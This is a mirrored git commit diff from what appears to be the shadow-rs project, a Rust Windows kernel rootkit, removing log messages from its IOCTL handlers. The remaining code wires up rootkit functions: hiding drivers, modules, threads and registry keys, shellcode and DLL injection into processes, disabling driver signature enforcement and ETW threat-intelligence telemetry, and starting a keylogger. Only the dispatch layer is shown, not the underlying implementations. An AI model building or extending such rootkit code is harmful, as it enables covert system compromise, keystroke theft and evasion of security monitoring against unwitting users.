mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2026-01-25 18:24:20 +01:00
refactor(driver): removing log messages
This commit is contained in:
@@ -24,7 +24,6 @@ use {
|
||||
pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
// Hiding / Unhiding a driver from loaded modules.
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER");
|
||||
let status = unsafe { handle!(stack, Driver::driver_toggle, TargetDriver) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
@@ -32,11 +31,8 @@ pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// Enumerate active drivers on the system.
|
||||
ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_DRIVER");
|
||||
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
|
||||
match status {
|
||||
|
||||
@@ -29,10 +29,7 @@ use {
|
||||
pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
// Process injection using ZwCreateThreadEx.
|
||||
ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
|
||||
|
||||
let status = unsafe { handle!(stack, InjectionShellcode::injection_thread, TargetInjection) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
|
||||
match status {
|
||||
@@ -43,10 +40,7 @@ pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// APC Injection.
|
||||
ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
|
||||
|
||||
let status = unsafe { handle!(stack, InjectionShellcode::injection_apc, TargetInjection) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
|
||||
match status {
|
||||
@@ -57,10 +51,7 @@ pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// DLL injection using ZwCreateThreadEx.
|
||||
ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_DLL_THREAD");
|
||||
|
||||
let status = unsafe { handle!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
|
||||
match status {
|
||||
|
||||
@@ -21,7 +21,6 @@ use {
|
||||
pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
// Responsible for enabling/disabling DSE.
|
||||
ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENABLE_DSE");
|
||||
let status = unsafe { handle!(stack, Dse::set_dse_state, DSE) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
|
||||
@@ -33,7 +32,6 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// Start / Stop Keylogger
|
||||
ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_KEYLOGGER");
|
||||
let status = unsafe { handle!(stack, set_keylogger_state, Keylogger) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
|
||||
@@ -42,7 +40,6 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// Responsible for enabling/disabling ETWTI.
|
||||
ioctls.insert(IOCTL_ETWTI, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ETWTI");
|
||||
let status = unsafe { handle!(stack, Etw::etwti_enable_disable, ETWTI) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
|
||||
|
||||
@@ -19,8 +19,6 @@ use {
|
||||
pub fn get_module_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
// Enumerate Modules
|
||||
ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_MODULE");
|
||||
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
@@ -33,8 +31,6 @@ pub fn get_module_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// Hide Modules
|
||||
ioctls.insert(IOCTL_HIDE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_MODULE");
|
||||
|
||||
let status = unsafe { handle!(stack, Module::hide_module, TargetModule) };
|
||||
unsafe { (*irp).IoStatus.Information = 0};
|
||||
|
||||
|
||||
@@ -26,7 +26,6 @@ use {
|
||||
pub fn get_registry_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
// Adding protection for registry key values.
|
||||
ioctls.insert(IOCTL_REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_REGISTRY_PROTECTION_VALUE");
|
||||
let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Protect) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
@@ -34,23 +33,20 @@ pub fn get_registry_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// Added protection for registry keys.
|
||||
ioctls.insert(IOCTL_REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_REGISTRY_PROTECTION_KEY");
|
||||
let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Protect) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// ?
|
||||
// Handles IOCTL to hide or unhide a registry key
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_KEY");
|
||||
let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Hide) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// ?
|
||||
// Handles IOCTL to hide or unhide a registry value
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_VALUE");
|
||||
let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Hide) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
|
||||
@@ -32,7 +32,6 @@ use {
|
||||
pub fn get_thread_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
// Hide the specified Thread by removing it from the list of active threads.
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_THREAD");
|
||||
let status = unsafe { handle!(stack, Thread::thread_toggle, TargetThread) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
|
||||
status
|
||||
@@ -40,7 +39,6 @@ pub fn get_thread_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// List hidden or protected threads.
|
||||
ioctls.insert(IOCTL_ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATION_THREAD");
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle!(irp, stack, Thread::enumerate_thread_toggle, EnumerateInfoInput, ThreadListInfo , &mut information) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
@@ -49,7 +47,6 @@ pub fn get_thread_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// Responsible for adding thread termination protection.
|
||||
ioctls.insert(IOCTL_PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_PROTECTION_THREAD");
|
||||
let status = unsafe { handle!(stack, add_remove_thread_toggle, ThreadProtection) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
|
||||
status
|
||||
|
||||
Reference in New Issue
Block a user